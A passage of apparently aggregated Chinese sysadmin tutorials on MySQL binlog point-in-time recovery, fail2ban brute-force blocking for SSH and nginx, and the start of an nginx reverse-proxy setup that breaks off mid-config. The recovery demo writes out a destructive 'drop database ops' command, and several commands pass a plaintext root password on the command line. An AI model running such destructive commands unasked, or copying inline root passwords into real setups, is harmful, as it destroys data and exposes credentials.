Server_id: 1
End_log_pos: 188
Info: use `ops`; drop table customers
*************************** 3. row ***************************
Log_name: mysql-bin.000002
Pos: 188
Event_type: Query
Server_id: 1
End_log_pos: 529
Info: use `ops`; CREATE TABLE IF NOT EXISTS `member` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`name` varchar(16) NOT NULL,
`sex` enum('m','w') NOT NULL DEFAULT 'm',
`age` tinyint(3) unsigned NOT NULL,
`classid` char(6) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8
*************************** 4. row ***************************
Log_name: mysql-bin.000002
Pos: 529
Event_type: Query
Server_id: 1
End_log_pos: 596
Info: BEGIN
*************************** 5. row ***************************
Log_name: mysql-bin.000002
Pos: 596
Event_type: Intvar
Server_id: 1
End_log_pos: 624
Info: INSERT_ID=1
*************************** 6. row ***************************
Log_name: mysql-bin.000002
Pos: 624
Event_type: Query
Server_id: 1
End_log_pos: 796
Info: use `ops`; insert into member(`name`,`sex`,`age`,`classid`) values('wangshibo','m',27,'cls1'),('guohuihui','w',27,'cls2')
*************************** 7. row ***************************
Log_name: mysql-bin.000002
Pos: 796
Event_type: Xid
Server_id: 1
End_log_pos: 823
Info: COMMIT /* xid=17 */
7 rows in set (0.00 sec)

ERROR:
No query specified

mysql>

上面这条语句可以将指定的binlog日志文件,分成有效事件行的方式返回,并可使用limit指定pos点的起始偏移,查询条数!
如下操作示例:
a)查询第一个(最早)的binlog日志:
mysql> show binlog events\G;

b)指定查询 mysql-bin.000002这个文件:
mysql> show binlog events in 'mysql-bin.000002'\G;

c)指定查询 mysql-bin.000002这个文件,从pos点:624开始查起:
mysql> show binlog events in 'mysql-bin.000002' from 624\G;

d)指定查询 mysql-bin.000002这个文件,从pos点:624开始查起,查询10条(即10条语句)
mysql> show binlog events in 'mysql-bin.000002' from 624 limit 10\G;

e)指定查询 mysql-bin.000002这个文件,从pos点:624开始查起,偏移2行(即中间跳过2个),查询10条
mysql> show binlog events in 'mysql-bin.000002' from 624 limit 2,10\G;

五、利用binlog日志恢复mysql数据

以下对ops库的member表进行操作
mysql> use ops;
mysql> CREATE TABLE IF NOT EXISTS `member` (
-> `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
-> `name` varchar(16) NOT NULL,
-> `sex` enum('m','w') NOT NULL DEFAULT 'm',
-> `age` tinyint(3) unsigned NOT NULL,
-> `classid` char(6) DEFAULT NULL,
-> PRIMARY KEY (`id`)
-> ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
Query OK, 0 rows affected (0.10 sec)

mysql> show tables;
+---------------+
| Tables_in_ops |
+---------------+
| member |
+---------------+
1 row in set (0.00 sec)

mysql> desc member;
+---------+---------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+---------+---------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| name | varchar(16) | NO | | NULL | |
| sex | enum('m','w') | NO | | m | |
| age | tinyint(3) unsigned | NO | | NULL | |
| classid | char(6) | YES | | NULL | |
+---------+---------------------+------+-----+---------+----------------+
5 rows in set (0.00 sec)

事先插入两条数据
mysql> insert into member(`name`,`sex`,`age`,`classid`) values('wangshibo','m',27,'cls1'),('guohuihui','w',27,'cls2');
Query OK, 2 rows affected (0.08 sec)
Records: 2 Duplicates: 0 Warnings: 0
mysql> select * from member;
+----+-----------+-----+-----+---------+
| id | name | sex | age | classid |
+----+-----------+-----+-----+---------+
| 1 | wangshibo | m | 27 | cls1 |
| 2 | guohuihui | w | 27 | cls2 |
+----+-----------+-----+-----+---------+
2 rows in set (0.00 sec)

下面开始进行场景模拟:
1)
ops库会在每天凌晨4点进行一次完全备份的定时计划任务,如下:
[root@vm-002 ~]# crontab -l
0 4 * * * /usr/bin/mysqldump -uroot -p -B -F -R -x --master-data=2 ops|gzip >/opt/backup/ops_$(date +%F).sql.gz

这里手动执行下,将ops数据库备份到/opt/backup/ops_$(date +%F).sql.gz文件中:
[root@vm-002 ~]# mysqldump -uroot -p -B -F -R -x --master-data=2 ops|gzip >/opt/backup/ops_$(date +%F).sql.gz
Enter password:
[root@vm-002 ~]# ls /opt/backup/
ops_2016-09-25.sql.gz
-----------------
参数说明:
-B:指定数据库
-F:刷新日志
-R:备份存储过程等
-x:锁表
--master-data:在备份语句里添加CHANGE MASTER语句以及binlog文件及位置点信息
-----------------
待到数据库备份完成,就不用担心数据丢失了,因为有完全备份数据在!!

由于上面在全备份的时候使用了-F选项,那么当数据备份操作刚开始的时候系统就会自动刷新log,这样就会自动产生
一个新的binlog日志,这个新的binlog日志就会用来记录备份之后的数据库“增删改”操作
查看一下:
mysql> show master status;
+------------------+----------+--------------+------------------+
| File | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------+----------+--------------+------------------+
| mysql-bin.000003 | 106 | | |
+------------------+----------+--------------+------------------+
1 row in set (0.00 sec)

也就是说, mysql-bin.000003 是用来记录4:00之后对数据库的所有“增删改”操作。

2)
早上9点上班了,由于业务的需求会对数据库进行各种“增删改”操作。
比如:在ops库下member表内插入、修改了数据等等:

先是早上进行插入数据:
mysql> insert into ops.member(`name`,`sex`,`age`,`classid`) values('yiyi','w',20,'cls1'),('xiaoer','m',22,'cls3'),('zhangsan','w',21,'cls5'),('lisi','m',20,'cls4'),('wangwu','w',26,'cls6');
Query OK, 5 rows affected (0.08 sec)
Records: 5 Duplicates: 0 Warnings: 0

mysql> select * from member;
+----+-----------+-----+-----+---------+
| id | name | sex | age | classid |
+----+-----------+-----+-----+---------+
| 1 | wangshibo | m | 27 | cls1 |
| 2 | guohuihui | w | 27 | cls2 |
| 3 | yiyi | w | 20 | cls1 |
| 4 | xiaoer | m | 22 | cls3 |
| 5 | zhangsan | w | 21 | cls5 |
| 6 | lisi | m | 20 | cls4 |
| 7 | wangwu | w | 26 | cls6 |
+----+-----------+-----+-----+---------+
7 rows in set (0.00 sec)

3)
中午又执行了修改数据操作:
mysql> update ops.member set name='李四' where id=4;
Query OK, 1 row affected (0.07 sec)
Rows matched: 1 Changed: 1 Warnings: 0

mysql> update ops.member set name='小二' where id=2;
Query OK, 1 row affected (0.06 sec)
Rows matched: 1 Changed: 1 Warnings: 0

mysql> select * from member;
+----+-----------+-----+-----+---------+
| id | name | sex | age | classid |
+----+-----------+-----+-----+---------+
| 1 | wangshibo | m | 27 | cls1 |
| 2 | 小二 | w | 27 | cls2 |
| 3 | yiyi | w | 20 | cls1 |
| 4 | 李四 | m | 22 | cls3 |
| 5 | zhangsan | w | 21 | cls5 |
| 6 | lisi | m | 20 | cls4 |
| 7 | wangwu | w | 26 | cls6 |
+----+-----------+-----+-----+---------+
7 rows in set (0.00 sec)

4)
在下午18:00的时候,悲剧莫名其妙的出现了!
手贱执行了drop语句,直接删除了ops库!吓尿!
mysql> drop database ops;
Query OK, 1 row affected (0.02 sec)

5)
这种时候,一定不要慌张!!!
先仔细查看最后一个binlog日志,并记录下关键的pos点,到底是哪个pos点的操作导致了数据库的破坏(通常在最后几步);

先备份一下最后一个binlog日志文件:
[root@vm-002 ~]# cd /var/lib/mysql/
[root@vm-002 mysql]# cp -v mysql-bin.000003 /opt/backup/
`mysql-bin.000003' -> `/opt/backup/mysql-bin.000003'
[root@vm-002 mysql]# ls /opt/backup/
mysql-bin.000003 ops_2016-09-25.sql.gz

接着执行一次刷新日志索引操作,重新开始新的binlog日志记录文件。按理说mysql-bin.000003
这个文件不会再有后续写入了,因为便于我们分析原因及查找ops节点,以后所有数据库操作都会写入到下一个日志文件。
mysql> flush logs;
Query OK, 0 rows affected (0.13 sec)

mysql> show master status;
+------------------+----------+--------------+------------------+
| File | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------+----------+--------------+------------------+
| mysql-bin.000004 | 106 | | |
+------------------+----------+--------------+------------------+
1 row in set (0.00 sec)

6)
读取binlog日志,分析问题。
读取binlog日志的方法上面已经说到。
方法一:使用mysqlbinlog读取binlog日志:
[root@vm-002 ~]# cd /var/lib/mysql/
[root@vm-002 mysql]# mysqlbinlog mysql-bin.000003

方法二:登录服务器,并查看(推荐此种方法)
mysql> show binlog events in 'mysql-bin.000003';

+------------------+-----+-------------+-----------+-------------+----------------------------------------------------------------------------------------------------------------------------+
| Log_name | Pos | Event_type | Server_id | End_log_pos | Info |
+------------------+-----+-------------+-----------+-------------+----------------------------------------------------------------------------------------------------------------------------+
| mysql-bin.000003 | 4 | Format_desc | 1 | 106 | Server ver: 5.1.73-log, Binlog ver: 4 |
| mysql-bin.000003 | 106 | Query | 1 | 173 | BEGIN |
| mysql-bin.000003 | 173 | Intvar | 1 | 201 | INSERT_ID=3 |
| mysql-bin.000003 | 201 | Query | 1 | 444 | use `ops`; insert into ops.member(`name`,`sex`,`age`,`gsan','w',21,'cls5'),('lisi','m',20,'cls4'),('wangwu','w',26,'cls6') |
| mysql-bin.000003 | 444 | Xid | 1 | 471 | COMMIT /* xid=66 */ |
| mysql-bin.000003 | 471 | Query | 1 | 538 | BEGIN |
| mysql-bin.000003 | 538 | Query | 1 | 646 | use `ops`; update ops.member set name='李四' where id= |
| mysql-bin.000003 | 646 | Xid | 1 | 673 | COMMIT /* xid=68 */ |
| mysql-bin.000003 | 673 | Query | 1 | 740 | BEGIN |
| mysql-bin.000003 | 740 | Query | 1 | 848 | use `ops`; update ops.member set name='小二' where id= |
| mysql-bin.000003 | 848 | Xid | 1 | 875 | COMMIT /* xid=69 */ |
| mysql-bin.000003 | 875 | Query | 1 | 954 | drop database ops |
| mysql-bin.000003 | 954 | Rotate | 1 | 997 | mysql-bin.000004;pos=4 |
+------------------+-----+-------------+-----------+-------------+----------------------------------------------------------------------------------------------------------------------------+
13 rows in set (0.00 sec)

或者:

mysql> show binlog events in 'mysql-bin.000003'\G;
.........
.........
*************************** 12. row ***************************
Log_name: mysql-bin.000003
Pos: 875
Event_type: Query
Server_id: 1
End_log_pos: 954
Info: drop database ops
*************************** 13. row ***************************
Log_name: mysql-bin.000003
Pos: 954
Event_type: Rotate
Server_id: 1
End_log_pos: 997
Info: mysql-bin.000004;pos=4
13 rows in set (0.00 sec)

通过分析,造成数据库破坏的pos点区间是介于 875--954 之间(这是按照日志区间的pos节点算的),只要恢复到875前就可

7)
先把凌晨4点全备份的数据恢复:
[root@vm-002 ~]# cd /opt/backup/
[root@vm-002 backup]# ls
mysql-bin.000003 ops_2016-09-25.sql.gz
[root@vm-002 backup]# gzip -d ops_2016-09-25.sql.gz
[root@vm-002 backup]# mysql -uroot -p -v < ops_2016-09-25.sql
Enter password:
--------------
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */
--------------

--------------
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */
--------------

.............
.............

--------------
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */
--------------

这样就恢复了截至当日凌晨(4:00)前的备份数据都恢复了。

mysql> show databases;                        #发现ops库已经恢复回来了
mysql> use ops;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+---------------+
| Tables_in_ops |
+---------------+
| member |
+---------------+
1 row in set (0.00 sec)

mysql> select * from member;
+----+-----------+-----+-----+---------+
| id | name | sex | age | classid |
+----+-----------+-----+-----+---------+
| 1 | wangshibo | m | 27 | cls1 |
| 2 | guohuihui | w | 27 | cls2 |
+----+-----------+-----+-----+---------+
2 rows in set (0.00 sec)

mysql>

但是这仅仅只是恢复了当天凌晨4点之前的数据,在4:00--18:00之间的数据还没有恢复回来!!
怎么办呢?
莫慌!这可以根据前面提到的mysql-bin.000003的新binlog日志进行恢复。

8)
从binlog日志恢复数据
恢复命令的语法格式:
mysqlbinlog mysql-bin.0000xx | mysql -u用户名 -p密码 数据库名

--------------------------------------------------------
常用参数选项解释:
--start-position=875 起始pos点
--stop-position=954 结束pos点
--start-datetime="2016-9-25 22:01:08" 起始时间点
--stop-datetime="2019-9-25 22:09:46" 结束时间点
--database=zyyshop 指定只恢复zyyshop数据库(一台主机上往往有多个数据库,只限本地log日志)
--------------------------------------------------------
不常用选项:
-u --user=name 连接到远程主机的用户名
-p --password[=name] 连接到远程主机的密码
-h --host=name 从远程主机上获取binlog日志
--read-from-remote-server 从某个MySQL服务器上读取binlog日志
--------------------------------------------------------
小结:实际是将读出的binlog日志内容,通过管道符传递给mysql命令。这些命令、文件尽量写成绝对路径;

a)完全恢复(需要手动vim编辑mysql-bin.000003,将那条drop语句剔除掉)
[root@vm-002 backup]# /usr/bin/mysqlbinlog /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops

b)指定pos结束点恢复(部分恢复):
--stop-position=471 pos结束节点(按照事务区间算,是471)
注意:
此pos结束节点介于“member表原始数据”与更新“name='李四'”之前的数据,这样就可以恢复到更改“name='李四'”之前的数据了。
操作如下:
[root@vm-002 ~]# /usr/bin/mysqlbinlog --stop-position=471 --database=ops /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops

mysql> select * from member;
+----+-----------+-----+-----+---------+
| id | name | sex | age | classid |
+----+-----------+-----+-----+---------+
| 1 | wangshibo | m | 27 | cls1 |
| 2 | guohuihui | w | 27 | cls2 |
| 3 | yiyi | w | 20 | cls1 |
| 4 | xiaoer | m | 22 | cls3 |
| 5 | zhangsan | w | 21 | cls5 |
| 6 | lisi | m | 20 | cls4 |
| 7 | wangwu | w | 26 | cls6 |
+----+-----------+-----+-----+---------+
7 rows in set (0.00 sec)

恢复截止到更改“name='李四'”之间的数据(按照事务区间算,是673)
[root@vm-002 ~]# /usr/bin/mysqlbinlog --stop-position=673 --database=ops /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops

mysql> select * from member;
+----+-----------+-----+-----+---------+
| id | name | sex | age | classid |
+----+-----------+-----+-----+---------+
| 1 | wangshibo | m | 27 | cls1 |
| 2 | guohuihui | w | 27 | cls2 |
| 3 | yiyi | w | 20 | cls1 |
| 4 | 李四 | m | 22 | cls3 |
| 5 | zhangsan | w | 21 | cls5 |
| 6 | lisi | m | 20 | cls4 |
| 7 | wangwu | w | 26 | cls6 |
+----+-----------+-----+-----+---------+
7 rows in set (0.00 sec)

c)指定pso点区间恢复(部分恢复):
更新 name='李四' 这条数据,日志区间是Pos[538] --> End_log_pos[646],按事务区间是:Pos[471] --> End_log_pos[673]

更新 name='小二' 这条数据,日志区间是Pos[740] --> End_log_pos[848],按事务区间是:Pos[673] --> End_log_pos[875]

c1)
单独恢复 name='李四' 这步操作,可这样:
按照binlog日志区间单独恢复:
[root@vm-002 ~]# /usr/bin/mysqlbinlog --start-position=538 --stop-position=646 --database=ops /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops

按照事务区间单独恢复
[root@vm-002 ~]# /usr/bin/mysqlbinlog --start-position=471 --stop-position=673 --database=ops /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops

c2)
单独恢复 name='小二' 这步操作,可这样:
按照binlog日志区间单独恢复:
[root@vm-002 ~]# /usr/bin/mysqlbinlog --start-position=740 --stop-position=848 --database=ops /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops

按照事务区间单独恢复
[root@vm-002 ~]# /usr/bin/mysqlbinlog --start-position=673 --stop-position=875 --database=ops /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops

c3)
将 name='李四'、name='小二' 多步操作一起恢复,需要按事务区间,可这样:
[root@vm-002 ~]# /usr/bin/mysqlbinlog --start-position=471 --stop-position=875 --database=ops /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops

查看数据库:
mysql> select * from member;
+----+-----------+-----+-----+---------+
| id | name | sex | age | classid |
+----+-----------+-----+-----+---------+
| 1 | wangshibo | m | 27 | cls1 |
| 2 | 小二 | w | 27 | cls2 |
| 3 | yiyi | w | 20 | cls1 |
| 4 | 李四 | m | 22 | cls3 |
| 5 | zhangsan | w | 21 | cls5 |
| 6 | lisi | m | 20 | cls4 |
| 7 | wangwu | w | 26 | cls6 |
+----+-----------+-----+-----+---------+
7 rows in set (0.00 sec)

这样,就恢复了删除前的数据状态了!!

-----------------
另外:
也可指定时间节点区间恢复(部分恢复):
除了用pos节点的办法进行恢复,也可以通过指定时间节点区间进行恢复,按时间恢复需要用mysqlbinlog命令读取binlog日志内容,找时间节点。

如上,误删除ops库后:
先进行全备份恢复
[root@vm-002 backup]# mysql -uroot -p -v < ops_2016-09-25.sql

查看ops数据库
mysql> select * from member;
+----+-----------+-----+-----+---------+
| id | name | sex | age | classid |
+----+-----------+-----+-----+---------+
| 1 | wangshibo | m | 27 | cls1 |
| 2 | guohuihui | w | 27 | cls2 |
+----+-----------+-----+-----+---------+
2 rows in set (0.00 sec)

mysql>

查看mysq-bin00003日志,找出时间节点
[root@vm-002 ~]# cd /var/lib/mysql
[root@vm-002 mysql]# mysqlbinlog mysql-bin.000003
.............
.............
BEGIN
/*!*/;
# at 173
#160925 21:57:19 server id 1 end_log_pos 201 Intvar
SET INSERT_ID=3/*!*/;
# at 201
#160925 21:57:19 server id 1 end_log_pos 444 Query thread_id=3 exec_time=0 error_code=0
use `ops`/*!*/;
SET TIMESTAMP=1474811839/*!*/;
insert into ops.member(`name`,`sex`,`age`,`classid`) values('yiyi','w',20,'cls1'),('xiaoer','m',22,'cls3'),('zhangsan','w',21,'cls5'),('lisi','m',20,'cls4'),('wangwu','w',26,'cls6')                               #执行的sql语句
/*!*/;
# at 444
#160925 21:57:19 server id 1 end_log_pos 471 Xid = 66    #开始执行的时间
COMMIT/*!*/;
# at 471
#160925 21:58:41 server id 1 end_log_pos 538 Query thread_id=3 exec_time=0 error_code=0    #结束时间
SET TIMESTAMP=1474811921/*!*/;
BEGIN
/*!*/;
# at 538
#160925 21:58:41 server id 1 end_log_pos 646 Query thread_id=3 exec_time=0 error_code=0
SET TIMESTAMP=1474811921/*!*/;
update ops.member set name='李四' where id=4     #执行的sql语句
/*!*/;
# at 646
#160925 21:58:41 server id 1 end_log_pos 673 Xid = 68    #开始执行的时间
COMMIT/*!*/;
# at 673
#160925 21:58:56 server id 1 end_log_pos 740 Query thread_id=3 exec_time=0 error_code=0   #结束时间
SET TIMESTAMP=1474811936/*!*/;
BEGIN
/*!*/;
# at 740
#160925 21:58:56 server id 1 end_log_pos 848 Query thread_id=3 exec_time=0 error_code=0
SET TIMESTAMP=1474811936/*!*/;
update ops.member set name='小二' where id=2      #执行的sql语句
/*!*/;
# at 848
#160925 21:58:56 server id 1 end_log_pos 875 Xid = 69   #开始执行的时间
COMMIT/*!*/;
# at 875
#160925 22:01:08 server id 1 end_log_pos 954 Query thread_id=3 exec_time=0 error_code=0    #结束时间
SET TIMESTAMP=1474812068/*!*/;
drop database ops
/*!*/;
# at 954
#160925 22:09:46 server id 1 end_log_pos 997 Rotate to mysql-bin.000004 pos: 4
DELIMITER ;
# End of log file
ROLLBACK /* added by mysqlbinlog */;
/*!50003 SET COMPLETION_TYPE=@OLD_COMPLETION_TYPE*/;

恢复到更改“name='李四'”之前的数据
[root@vm-002 ~]# /usr/bin/mysqlbinlog --start-datetime="2016-09-25 21:57:19" --stop-datetime="2016-09-25 21:58:41" --database=ops /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops

mysql> select * from member;
+----+-----------+-----+-----+---------+
| id | name | sex | age | classid |
+----+-----------+-----+-----+---------+
| 1 | wangshibo | m | 27 | cls1 |
| 2 | guohuihui | w | 27 | cls2 |
| 3 | yiyi | w | 20 | cls1 |
| 4 | xiaoer | m | 22 | cls3 |
| 5 | zhangsan | w | 21 | cls5 |
| 6 | lisi | m | 20 | cls4 |
| 7 | wangwu | w | 26 | cls6 |
+----+-----------+-----+-----+---------+
7 rows in set (0.00 sec)

[root@vm-002 ~]# /usr/bin/mysqlbinlog --start-datetime="2016-09-25 21:58:41" --stop-datetime="2016-09-25 21:58:56" --database=ops /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops
mysql> select * from member;
+----+-----------+-----+-----+---------+
| id | name | sex | age | classid |
+----+-----------+-----+-----+---------+
| 1 | wangshibo | m | 27 | cls1 |
| 2 | guohuihui | w | 27 | cls2 |
| 3 | yiyi | w | 20 | cls1 |
| 4 | 李四 | m | 22 | cls3 |
| 5 | zhangsan | w | 21 | cls5 |
| 6 | lisi | m | 20 | cls4 |
| 7 | wangwu | w | 26 | cls6 |
+----+-----------+-----+-----+---------+
7 rows in set (0.00 sec)

[root@vm-002 ~]# /usr/bin/mysqlbinlog --start-datetime="2016-09-25 21:58:56" --stop-datetime="2016-09-25 22:01:08" --database=ops /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops
mysql> select * from member;
+----+-----------+-----+-----+---------+
| id | name | sex | age | classid |
+----+-----------+-----+-----+---------+
| 1 | wangshibo | m | 27 | cls1 |
| 2 | 小二 | w | 27 | cls2 |
| 3 | yiyi | w | 20 | cls1 |
| 4 | 李四 | m | 22 | cls3 |
| 5 | zhangsan | w | 21 | cls5 |
| 6 | lisi | m | 20 | cls4 |
| 7 | wangwu | w | 26 | cls6 |
+----+-----------+-----+-----+---------+
7 rows in set (0.00 sec)

这样,就恢复了删除前的状态了!

总结:
所谓恢复,就是让mysql将保存在binlog日志中指定段落区间的sql语句逐个重新执行一次而已。

Fail2ban 阻止Centos SSH,FTP暴力破解

$
0
0

Fail2ban 阻止暴力破解


简介:

Fail2ban 能够监控系统日志,匹配日志中的错误信息(使用正则表达式),执行相应的屏蔽动作(支持多种,一般为调用 iptables ),是一款很实用、强大的软件。

如:攻击者不断尝试穷举 SSH 、SMTP 、FTP 密码等,只要达到预设值,fail2ban 就会调用防火墙屏蔽此 IP ,并且可以发送邮件通知系统管理员。

功能、特性:

1、支持大量服务:sshd 、apache 、qmail 等
2、支持多作动作:iptables 、tcp-wrapper 、shorewall 、mail notifications 等
3、logpath 选项中支持通配符
4、需要 Gamin 支持(Gamin 用于监控文件和目录是否更改)
5、如果需要邮件通知,则系统事先要确保能够正常发送邮件

1、fail2ban 安装

shell > yum -y install epel-release

shell > yum -y install fail2ban

2、fail2ban 结构

/etc/fail2ban                  ## fail2ban 服务配置目录
/etc/fail2ban/action.d     ## iptables 、mail 等动作文件目录
/etc/fail2ban/filter.d       ## 条件匹配文件目录,过滤日志关键内容
/etc/fail2ban/jail.conf     ## fail2ban 防护配置文件
/etc/fail2ban/fail2ban.conf   ## fail2ban 配置文件,定义日志级别、日志、sock 文件位置等

3、fail2ban.conf 配置

复制代码
shell > grep -v ^# /etc/fail2ban/fail2ban.conf

[Definition]

loglevel = 3 ## 定义日志级别,默认

logtarget = /var/log/fail2ban.log ## 定义 fail2ban 日志文件

socket = /var/run/fail2ban/fail2ban.sock ## sock 文件存放位置,默认

pidfile = /var/run/fail2ban/fail2ban.pid ## pid 文件存放位置,默认
复制代码

4、jail.conf 防护配置

复制代码
shell > grep -v ^# /etc/fail2ban/jail.conf

[DEFAULT] ## 全局设置,优先级最小

ignoreip = 127.0.0.1/8 ## 不受限制的 IP ,多组用空格分割

bantime = 600 ## 非法 IP 被屏蔽时间(秒),-1 代表永远封锁

findtime = 600 ## 设置多长时间(秒)内超过 maxretry 限制次数即被封锁

maxretry = 3 ## 最大尝试次数

backend = auto ## 日志修改检测机制(gamin 、polling 、auto 三种)

usedns = warn

[ssh-iptables] ## 分类设置(基于 SSHD 服务的防护)

enabled = true ## 是否开启防护,false 为关闭

filter = sshd ## 过滤规则 filter 名称,对应 filter.d 目录下的 sshd.conf

action = iptables[name=SSH, port=ssh, protocol=tcp] ## 动作参数
sendmail-whois[name=SSH, dest=you@example.com, sender=fail2ban@example.com, sendername="Fail2Ban"] ## 邮件通知参数
                          ## 收件人地址           ## 发件人地址 
logpath = /var/log/secure ## 检测系统登陆日志文件

maxretry = 5 ## 最大尝试次数
复制代码

## 默认此配置文件中还有大量的服务防护配置,只不过默认都是关闭(false)状态,不用理会。

5、fail2ban 启动、测试 SSHD 防护

复制代码
shell > service fail2ban start ## 如果重启 iptables ,必须重启 fail2ban

shell > fail2ban-client status ## 可以看到有一个实例已经开始监控
Status
|- Number of jail: 1
`- Jail list: ssh-iptables

shell > iptables -nL ## iptables 也加入了一条规则

fail2ban-SSH tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:22
复制代码

## 同时,管理员邮箱也收到一封邮件..

复制代码
[Fail2Ban] SSH: started on localhost.localdomain

发件人:Fail2Ban
收件人:1355*******
时 间:2015-06-05 23:58:5

Hi,

The jail SSH has been started successfully.

Regards,

Fail2Ban
复制代码

## 这时客户端尝试登陆本机,故意输入五次密码,就会看到如下日志:

shell > tail -1 /var/log/fail2ban.log

2015-06-05 17:39:19,647 fail2ban.actions[1313]: WARNING [ssh-iptables] Ban 192.168.214.1

## 可以看到:192.168.214.1 被 Ban 掉了。

复制代码
shell > cat /var/log/secure ## 系统登陆日志

Jun 5 17:39:01 localhost sshd[1341]: Failed password for root from 192.168.214.1 port 2444 ssh2
Jun 5 17:39:06 localhost sshd[1341]: Failed password for root from 192.168.214.1 port 2444 ssh2
Jun 5 17:39:11 localhost sshd[1341]: Failed password for root from 192.168.214.1 port 2444 ssh2
Jun 5 17:39:14 localhost sshd[1341]: Failed password for root from 192.168.214.1 port 2444 ssh2
Jun 5 17:39:18 localhost sshd[1341]: Failed password for root from 192.168.214.1 port 2444 ssh2
Jun 5 17:41:39 localhost login: pam_unix(login:session): session opened for user root by LOGIN(uid=0)
复制代码

## 收到的邮件通知

复制代码
[Fail2Ban] SSH: banned 192.168.214.1 from localhost.localdomain

发件人:Fail2Ban
收件人:1355*******
时 间:2015-06-06 00:05:45

Hi,

The IP 192.168.214.1 has just been banned by Fail2Ban after
5 attempts against SSH.

Here is more information about 192.168.214.1:

missing whois program

Regards,

Fail2Ban
复制代码

## 测试成功 !

6、加入 Nginx 防护( httpd 代替 )

## 目的是把规定时间内达到限定访问次数的 IP 封锁(例如,一分钟内有几百次请求)

复制代码
shell > vim /etc/fail2ban/jail.conf

[nginx] ## nginx 防护

enabled = true
filter = nginx  ## 访问规则定义文件,位置在 /etc/fail2ban/filter.d/nginx.conf
action = iptables[name=nginx, port=http, protocol=tcp]
sendmail-whois[name=nginx, dest=1355*******@139.com, sender=fail2ban@aoath.com, sendername="Fail2Ban"]

logpath = /var/log/httpd/access_log ## nginx 访问日志

bantime = 86400 ## 符合规则的屏蔽一天,如果参数值与全局有冲突,优先级大于全局配置
findtime = 600  ## 10 分钟内访问超过 maxretry 次数的封锁 IP 
maxretry = 1000 ## 最大尝试次数

shell > vim /etc/fail2ban/filter.d/nginx.conf

[Definition]
failregex =<HOST>.*-.*-.*$ ## <HOST> 表示访问 IP ,其余的其实是最简单匹配了。因为这里没有要匹配精确的 URL ,只是限制访问次数
ignoreregex =

shell > fail2ban-regex /var/log/httpd/access_log /etc/fail2ban/filter.d/nginx.conf ## 可以测试条件规则是否可用

shell > service fail2ban restart ## 重启服务

shell > fail2ban-client status ## 可以看到有两个实例在监控中
Status
|- Number of jail: 2
`- Jail list: nginx, ssh-iptables
复制代码

## 开始测试,通过脚本或者不管刷新页面测试 Nginx 防护( 便于测试,可以将 maxretry 的值调为 10 )

复制代码
shell > fail2ban-client status nginx ## 可以看到被 Ban 掉的 IP
Status for the jail: nginx
|- filter
| |- File list: /var/log/httpd/access_log
| |- Currently failed: 1
| `- Total failed: 39
`- action
|- Currently banned: 1
| `- IP list: 192.168.214.1
`- Total banned: 1
复制代码

## 同时也有对应的邮件通知

复制代码
[Fail2Ban] nginx: banned 192.168.214.1 from localhost.localdomain

发件人:Fail2Ban
收件人:1355*******
时 间:2015-06-06 01:04:11

Hi,

The IP 192.168.214.1 has just been banned by Fail2Ban after
20 attempts against nginx.


Here is more information about 192.168.214.1:

missing whois program

Regards,

Fail2Ban

shell > tail -1 /var/log/fail2ban.log ## fail2ban 的日志信息

2015-06-05 19:04:11,705 fail2ban.actions[2592]: WARNING [nginx] Ban 192.168.214.1
复制代码

## OK ,这就是 fail2ban 。很强大 !!!


Nginx 反向代理、后端检测模块

$
0
0

Nginx 反向代理、后端检测模块


简介:

Nginx 反向代理模块:ngx_http_proxy_module、ngx_http_upstream_module 后端检测模块:nginx_http_upstream_check_module

前者是官方提供的,安装 Nginx 的时候默认就内置了,可以直接使用,地址:http://nginx.org/en/docs/http/ngx_http_proxy_module.html

后者是淘宝大神提供的后端检测模块,需要手动编译添加,地址:https://github.com/yaoweibin/nginx_upstream_check_module

当前稳定版本:http://nginx.org/download/nginx-1.12.2.tar.gz

一、实验环境

1、Nginx

shell > yum -y install gcc gcc-c++ make wget zlib-devel pcre-devel openssl-devel

shell > wget http://nginx.org/download/nginx-1.12.2.tar.gz
shell > tar zxf nginx-1.12.2.tar.gz; cd nginx-1.12.2
shell > ./configure --prefix=/usr/local/nginx-1.12.2 && make && make install

2、后端服务器

shell > curl 192.168.10.24:8080
welcome to tomcat1
shell > curl 192.168.10.24:8081
welcome to tomcat2
shell > curl 192.168.10.24:8082
welcome to tomcat3

# 好了,三台后端服务器已经启动,分别监听 8080、8081、8082,分别返回 1、2、3

二、ngx_http_proxy_module、ngx_http_upstream_module

复制代码
shell > vim conf/nginx.conf

user  nobody;
worker_processes  1;

pid        logs/nginx.pid;
events {
    worker_connections  1024;
}

http {
    include       mime.types;
    default_type  application/octet-stream;
    
    upstream ls {
        server 192.168.10.24:8080 weight=1 max_fails=3 fail_timeout=20s;
        server 192.168.10.24:8081 weight=2 max_fails=3 fail_timeout=20s;
